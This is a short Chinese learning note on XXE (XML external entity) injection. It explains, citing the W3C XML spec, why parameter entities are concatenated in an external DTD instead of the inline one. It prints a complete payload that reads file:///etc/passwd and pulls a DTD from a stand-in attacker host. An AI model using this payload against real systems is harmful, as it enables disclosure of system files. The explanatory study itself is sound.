如何理解参数实体不能用于在内联DTD的文档元素定义语句中替换文本
在学***E的时候,看到很多例子,都是在外部DTD中对参数实体进行文本替换和拼接,如下所示。
但没有解释为什么不在内联DTD中直接做拼接,反而要多此一举
payload :
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT person (name,age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ENTITY % start "<![CDATA[">
<!ENTITY % info SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://attacker_ip/xxe.dtd">
%xxe;
]>
<person>
<name>&tag;</name>
<age>18</age>
<address>天津市红桥区西沽公园</address>
</person>
http://attacker_ip/xxe.dtd 的内容为 :
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY tag "%start;%info;%end;">
最终在FreeBuf的一个视频中找到详细答案
直白翻译过来就是:
官方规范:在DTD内部子集中,参数实体的引用不能和文档元素定义混合在一起,但是该规则对于外部DTD不受影响
W3C XML 1.0的官方文档:https://www.w3.org/TR/xml/